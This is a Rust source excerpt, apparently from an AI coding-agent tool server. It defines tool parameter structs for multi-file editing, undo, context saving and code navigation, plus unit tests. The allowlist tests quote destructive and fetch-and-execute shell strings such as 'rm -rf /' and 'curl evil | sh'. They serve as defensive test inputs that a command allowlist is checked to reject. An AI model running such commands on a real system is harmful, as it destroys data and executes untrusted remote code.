981#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
982pub struct FileEditEntry {
983 /// Path to the file to write or edit (absolute, ~ allowed).
984 pub file_path: String,
985 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
986 pub percentage_to_change: u32,
987 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
988 pub text_or_search_replace_blocks: String,
989}
990
991/// Parameters for the `MultiFileEdit` tool: apply edits across several files
992/// all-or-nothing at the COMPUTE stage.
993///
994/// Every file is validated and its new content computed in memory first; only
995/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
996/// the last file leaves the first files untouched. The write stage is a sequence
997/// of atomic single-file renames and stops at the first I/O failure (already
998/// written files are not rolled back, which is reported clearly).
999#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1000pub struct MultiFileEdit {
1001 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1002 pub files: Vec<FileEditEntry>,
1003
1004 /// The thread ID for this session
1005 pub thread_id: String,
1006}
1007
1008/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1009/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1010#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1011pub struct UndoEdit {
1012 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1013 pub file_path: String,
1014
1015 /// The thread ID for this session
1016 pub thread_id: String,
1017}
1018
1019/// Parameters for the `ContextSave` tool
1020///
1021/// This struct represents the parameters needed to save context information
1022/// about a task, including file contents from specified globs.
1023#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1024pub struct ContextSave {
1025 /// Unique identifier for the task
1026 ///
1027 /// This should be a unique string that identifies the task. It can be
1028 /// a random 3-word identifier or a user-provided value.
1029 pub id: String,
1030
1031 /// Root path of the project
1032 ///
1033 /// This should be an absolute path to the project root. If empty, no
1034 /// project root will be used.
1035 pub project_root_path: String,
1036
1037 /// Description of the task
1038 ///
1039 /// This should contain a detailed description of the task, including
1040 /// relevant context, problems, and objectives.
1041 pub description: String,
1042
1043 /// List of file glob patterns
1044 ///
1045 /// These glob patterns identify the files that should be included in
1046 /// the saved context. Patterns can be absolute or relative to the project root.
1047 pub relevant_file_globs: Vec<String>,
1048
1049 /// Optional thread ID identifying the shell session to operate on. When
1050 /// omitted, the most recently active session is used.
1051 #[serde(default)]
1052 pub thread_id: String,
1053}
1054
1055/// Parameters for the `ReadImage` tool
1056///
1057/// This struct represents the parameters needed to read an image file.
1058#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1059pub struct ReadImage {
1060 /// Path to the image file to read
1061 ///
1062 /// This can be an absolute path or a path relative to the current working directory.
1063 pub file_path: String,
1064
1065 /// Optional thread ID identifying the shell session to operate on. When
1066 /// omitted, the most recently active session is used.
1067 #[serde(default)]
1068 pub thread_id: String,
1069}
1070
1071/// Operation for the `CodeMap` tool.
1072#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1073#[serde(rename_all = "snake_case")]
1074pub enum CodeMapOperation {
1075 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1076 Outline,
1077 /// The definition + reference (call/use) sites of a symbol name across the repo.
1078 References,
1079}
1080
1081/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1082/// two operations, in place of separate `Outline` / `FindReferences` tools.
1083#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1084pub struct CodeMap {
1085 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1086 /// or `references` (the definition + use sites of a symbol name).
1087 pub operation: CodeMapOperation,
1088
1089 /// For `outline`: the file or directory to map (empty or a directory = a
1090 /// ranked repo symbol map). For `references`: the directory or file to search
1091 /// under (empty = the whole workspace). Relative paths resolve against the
1092 /// workspace.
1093 #[serde(default)]
1094 pub path: String,
1095
1096 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1097 /// Required for `references`, ignored by `outline`.
1098 #[serde(default)]
1099 pub name: String,
1100
1101 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1102 /// occurrences for `references`. 0 means the default.
1103 #[serde(default)]
1104 pub max_results: usize,
1105
1106 /// Optional thread ID identifying the shell session to operate on. When
1107 /// omitted, the most recently active session is used.
1108 #[serde(default)]
1109 pub thread_id: String,
1110}
1111
1112/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1113/// internally by `CodeMap`.
1114#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1115pub struct Outline {
1116 /// File or directory to outline. A file returns that file's symbols; a
1117 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1118 /// map. Relative paths resolve against the workspace.
1119 #[serde(default)]
1120 pub path: String,
1121
1122 /// Maximum symbols to return for a single file, or maximum files for a repo
1123 /// map. 0 means the default.
1124 #[serde(default)]
1125 pub max_results: usize,
1126
1127 /// Optional thread ID identifying the shell session to operate on. When
1128 /// omitted, the most recently active session is used.
1129 #[serde(default)]
1130 pub thread_id: String,
1131}
1132
1133/// One symbol (definition) in `Outline` output.
1134#[derive(Debug, Clone, Serialize, JsonSchema)]
1135pub struct OutlineSymbol {
1136 /// Symbol name.
1137 pub name: String,
1138 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1139 pub kind: String,
1140 /// 1-based line where the definition starts.
1141 pub line: usize,
1142}
1143
1144/// Symbols for one file in `Outline` output.
1145#[derive(Debug, Clone, Serialize, JsonSchema)]
1146pub struct OutlineFile {
1147 /// Workspace-relative path of the file.
1148 pub file: String,
1149 /// Definitions found in the file, in source order.
1150 pub symbols: Vec<OutlineSymbol>,
1151}
1152
1153/// Structured result of an `Outline` call (mirrors the text block).
1154#[derive(Debug, Clone, Serialize, JsonSchema)]
1155pub struct OutlineOutput {
1156 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1157 pub mode: String,
1158 /// Number of files included in `files`.
1159 pub files_shown: usize,
1160 /// Per-file symbol lists.
1161 pub files: Vec<OutlineFile>,
1162 /// True if the symbol map was capped (more files or symbols exist).
1163 pub truncated: bool,
1164}
1165
1166/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1167#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1168pub struct FindReferences {
1169 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1170 pub name: String,
1171
1172 /// Directory or file to search under. Relative paths resolve against the
1173 /// workspace; leave empty to search the whole workspace.
1174 #[serde(default)]
1175 pub path: String,
1176
1177 /// Maximum occurrences to return. 0 means the default.
1178 #[serde(default)]
1179 pub max_results: usize,
1180
1181 /// Optional thread ID identifying the shell session to operate on. When
1182 /// omitted, the most recently active session is used.
1183 #[serde(default)]
1184 pub thread_id: String,
1185}
1186
1187/// One symbol occurrence in `FindReferences` output.
1188#[derive(Debug, Clone, Serialize, JsonSchema)]
1189pub struct ReferenceHit {
1190 /// Workspace-relative path.
1191 pub file: String,
1192 /// 1-based line.
1193 pub line: usize,
1194 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1195 pub kind: String,
1196 /// True for a definition, false for a reference (call / use site).
1197 pub is_definition: bool,
1198}
1199
1200/// Structured result of a `FindReferences` call (mirrors the text block).
1201#[derive(Debug, Clone, Serialize, JsonSchema)]
1202pub struct ReferencesOutput {
1203 /// The symbol name that was searched for.
1204 pub name: String,
1205 /// Number of returned hits that are definitions.
1206 pub definitions: usize,
1207 /// Number of returned hits that are references (call / use sites).
1208 pub references: usize,
1209 /// True if the result was capped (more occurrences exist).
1210 pub truncated: bool,
1211 /// Occurrences, definitions first then references, each group by file/line.
1212 pub hits: Vec<ReferenceHit>,
1213}
1214
1215/// JSON Schema advertised for `CodeMap.structuredContent`.
1216///
1217/// `CodeMap` has two operations with different payloads. Their shared
1218/// `truncated` field is required; operation-specific fields are optional so the
1219/// single object schema accepts both the outline and references result shapes.
1220#[derive(Debug, Clone, JsonSchema)]
1221pub struct CodeMapStructuredOutput {
1222 pub truncated: bool,
1223 pub mode: Option<String>,
1224 pub files_shown: Option<usize>,
1225 pub files: Option<Vec<OutlineFile>>,
1226 pub name: Option<String>,
1227 pub definitions: Option<usize>,
1228 pub references: Option<usize>,
1229 pub hits: Option<Vec<ReferenceHit>>,
1230}
1231
1232#[cfg(test)]
1233mod thread_id_tests {
1234 use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1235
1236 #[test]
1237 fn clean_id_is_unchanged() {
1238 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1239 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1240 }
1241
1242 #[test]
1243 fn empty_and_all_special_normalize_to_empty() {
1244 assert_eq!(normalize_thread_id(""), "");
1245 assert_eq!(normalize_thread_id("---"), "");
1246 }
1247
1248 #[test]
1249 fn separator_variants_do_not_collide() {
1250 // "user-1" and "user1" must NOT resolve to the same session/state file.
1251 let a = normalize_thread_id("user-1");
1252 let b = normalize_thread_id("user1");
1253 assert_ne!(a, b);
1254 assert!(a.starts_with("user1_"), "got {a}");
1255 assert_eq!(b, "user1");
1256 // "user-1" vs "user_1" must also stay distinct.
1257 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1258 }
1259
1260 #[test]
1261 fn normalization_is_deterministic() {
1262 // Same input -> same hash -> same session across restarts.
1263 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1264 }
1265
1266 #[test]
1267 fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1268 let original = "á".repeat(200);
1269 let normalized = normalize_thread_id(&original);
1270 assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1271 assert!(normalized.is_char_boundary(normalized.len()));
1272 assert_eq!(normalize_thread_id(&normalized), normalized);
1273 }
1274}
1275
1276#[cfg(test)]
1277mod allowlist_tests {
1278 use super::AllowedCommands;
1279
1280 fn list(items: &[&str]) -> AllowedCommands {
1281 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1282 }
1283
1284 #[test]
1285 fn all_permits_everything() {
1286 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1287 }
1288
1289 #[test]
1290 fn list_allows_exact_and_args() {
1291 let a = list(&["ls", "cargo test"]);
1292 assert!(a.is_allowed("ls"));
1293 assert!(a.is_allowed("ls -la"));
1294 assert!(a.is_allowed("cargo test --release"));
1295 }
1296
1297 #[test]
1298 fn list_blocks_word_boundary_lookalikes() {
1299 let a = list(&["ls", "cargo test"]);
1300 assert!(!a.is_allowed("lsof"));
1301 assert!(!a.is_allowed("cargo testimony"));
1302 }
1303
1304 #[test]
1305 fn list_blocks_chained_and_substituted_commands() {
1306 let a = list(&["ls"]);
1307 // The old first-token check let all of these through.
1308 assert!(!a.is_allowed("ls && curl evil | sh"));
1309 assert!(!a.is_allowed("ls; rm -rf /"));
1310 assert!(!a.is_allowed("ls $(rm -rf x)"));
1311 assert!(!a.is_allowed("ls | rm"));
1312 }
1313
1314 #[test]
1315 fn list_allows_chain_when_all_parts_permitted() {
1316 let a = list(&["cargo build", "cargo test"]);
1317 assert!(a.is_allowed("cargo build && cargo test"));
1318 }
1319}
1320
1321#[cfg(test)]
1322mod code_writer_config_tests {
1323 use super::deserialize_code_writer_config;
1324 use serde_json::json;
1325
1326 #[test]
1327 fn explicit_null_opts_out() {
1328 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1329 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1330 }
1331
1332 #[test]
1333 fn valid_config_parses() {
1334 let r = deserialize_code_writer_config(json!({
1335 "allowed_commands": "all",
1336 "allowed_globs": "all",
1337 }));
1338 assert!(matches!(r, Ok(Some(_))));
1339 }
1340
1341 #[test]
1342 fn malformed_config_fails_loud() {
1343 // The crux of the fix: a malformed restricted-mode config must ERROR,
1344 // not silently degrade to None (None falls back to All/All — wide open,
1345 // while the model believes the shell is locked down).
1346 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1347 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1348 }
1349}